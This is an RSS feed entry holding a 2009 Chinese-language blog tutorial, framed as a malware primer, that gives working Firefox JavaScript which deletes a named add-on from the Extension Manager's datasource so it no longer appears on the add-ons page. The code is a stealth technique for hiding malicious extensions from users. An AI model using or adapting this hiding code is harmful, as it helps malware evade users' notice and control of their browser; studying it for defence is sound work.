<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onHacks &#187; Firefox</title>
	<atom:link href="http://onhacks.org/lang/zh-hk/tag/firefox/feed/" rel="self" type="application/rss+xml" />
	<link>http://onhacks.org</link>
	<description>On Hacking Across Boundaries</description>
	<lastBuildDate>Wed, 02 Jun 2010 05:48:30 +0000</lastBuildDate>
	<language>zh-hk</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Firefox 惡意程式教學 &#8211; 壹</title>
		<link>http://onhacks.org/lang/zh-hk/2009/02/11/firefox-malware-tutorial-1</link>
		<comments>http://onhacks.org/lang/zh-hk/2009/02/11/firefox-malware-tutorial-1#comments</comments>
		<pubDate>Wed, 11 Feb 2009 14:13:43 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Protocol]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=214</guid>
		<description><![CDATA[火狐瀏覽器是 Internet Explorer 的最大敵人，有非常好的市場佔有率，並持續增長。若你可以安裝惡意代碼，並且廣為流傳，將會為犯罪機構帶來大量收益。要保護我們的第一步，當然是要明白背後的原理，我會寫一個不能被在插件頁面看到的插件。 火狐插件資料是存放在 extensions.rdf 裡。RDF 只是某特定 XML 。插件頁面會調用 Extension Manager ，而 Extension Manager 是實現 nsIExtensionManager 的。nsIExtensionManager　中的 datasource 就是存放讀了在內存的 extensions.rdf ，並且是可寫的。只要改動這個 Extension Manager 指向的 datasource 就可以把想要隱藏的插件從列表移除。 代碼： function ext_mgr_hide_extension(tgt_ext_name) { var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"]. createInstance(Components.interfaces.nsIRDFContainer); var extensionDataSource = Components.classes["@mozilla.org/extensions/manager;1"]. getService(Components.interfaces.nsIExtensionManager).datasource; var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"]. getService(Components.interfaces.nsIRDFService); var root = rdfService.GetResource("urn:mozilla:item:root"); try { rdfContainer.Init(extensionDataSource, root); var [...]]]></description>
			<content:encoded><![CDATA[


<p><span lang="zh-hk">火狐瀏覽器是 Internet Explorer 的最大敵人，有非常好的市場佔有率，並持續增長。若你可以安裝惡意代碼，並且廣為流傳，將會為犯罪機構帶來大量收益。要保護我們的第一步，當然是要明白背後的原理，我會寫一個不能被在插件頁面看到的插件。</span></p>
<p><span lang="zh-hk">火狐插件資料是存放在 extensions.rdf 裡。RDF 只是某特定 XML 。插件頁面會調用 Extension Manager ，而 Extension Manager 是實現 nsIExtensionManager 的。nsIExtensionManager　中的 datasource 就是存放讀了在內存的 extensions.rdf ，並且是可寫的。只要改動這個 Extension Manager 指向的 datasource 就可以把想要隱藏的插件從列表移除。</span></p>
<p><span lang="zh-hk">代碼：</span></p>


<p><span lang="zh-hk"><br />
</span></p>
<pre>function ext_mgr_hide_extension(tgt_ext_name)
{
    var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);
    var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;
    var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);
    var root = rdfService.GetResource("urn:mozilla:item:root"); 

    try
    {
        rdfContainer.Init(extensionDataSource, root);

        var exts = rdfContainer.GetElements();
        while ( exts.hasMoreElements() )
        {
            var ext = exts.getNext();
            var ext_name = extensionDataSource.GetTarget(
                ext, rdfService.GetResource(
                    "http://www.mozilla.org/2004/em-rdf#name"), true).
                QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
            if ( ext_name == tgt_ext_name )
                rdfContainer.RemoveElement(ext, true);
        }
    }
    catch (e)
    {
        alert(e);
    }
}</pre>

<p><span lang="zh-hk">實現 nsIRDFContainer, 用來控制 RDF 檔的 RDF Container :</span></p>

<pre>var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);</pre>

<p><span lang="zh-hk">拿 Extension Manager 的 datasource 就好了 : </span></p>

<pre>var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;</pre>

<p><span lang="zh-hk">要拿到可用數據，還是要用 RDF Service, 實現單例 nsIRDFService :</span></p>

<pre>var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);</pre>

<p><span lang="zh-hk">搵最開始的 :</span></p>

<pre>var root = rdfService.GetResource("urn:mozilla:item:root");</pre>

<p><span lang="zh-hk">始動 RDF Container :</span></p>

<pre>rdfContainer.Init(extensionDataSource, root);</pre>

<p><span lang="zh-hk">把插件名字拿出來, 是存放在 RDF Literal 裡的 :</span></p>

<pre>var ext_name = extensionDataSource.GetTarget(ext,
    rdfService.GetResource(
        "http://www.mozilla.org/2004/em-rdf#name"), true
    ).QueryInterface(Components.interfaces.nsIRDFLiteral).Value;</pre>

<p><span lang="zh-hk">是我們要用的就移除！</span></p>

<pre>if ( ext_name == tgt_ext_name )
     rdfContainer.RemoveElement(ext, true);</pre>

<p><span lang="zh-hk">淨返既就睇你諗頭&#8230;</span></p>



<p><span lang="zh-hk"><strong>額外</strong></span></p>
<p><span lang="zh-hk">正常的顯示插件做法：</span></p>


<pre>function ext_mgr_dump()
{
	var extensionManager = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager);

	var count = new Object();
	var items = new Object();
	var extensions = extensionManager.getItemList(2, count, items); // 2 is the value for EXTENSIONS
	count = count.value;

	var extension;
	var s_exts = "";
	for (var i = 0; i &#60; count; ++i)
    {
		extension = extensions[i];
		s_exts += "*** " + extension.name + " " + extension.version + "\n";
	}

    return s_exts;
}</pre>
<p>&#8212;</p>
<p>Reference :</p>
<p><a href="http://www.rietta.com/firefox/Tutorial/overview.html" target="_blank">Firefox Extension Development</a></p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/zh-hk/2009/02/11/firefox-malware-tutorial-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
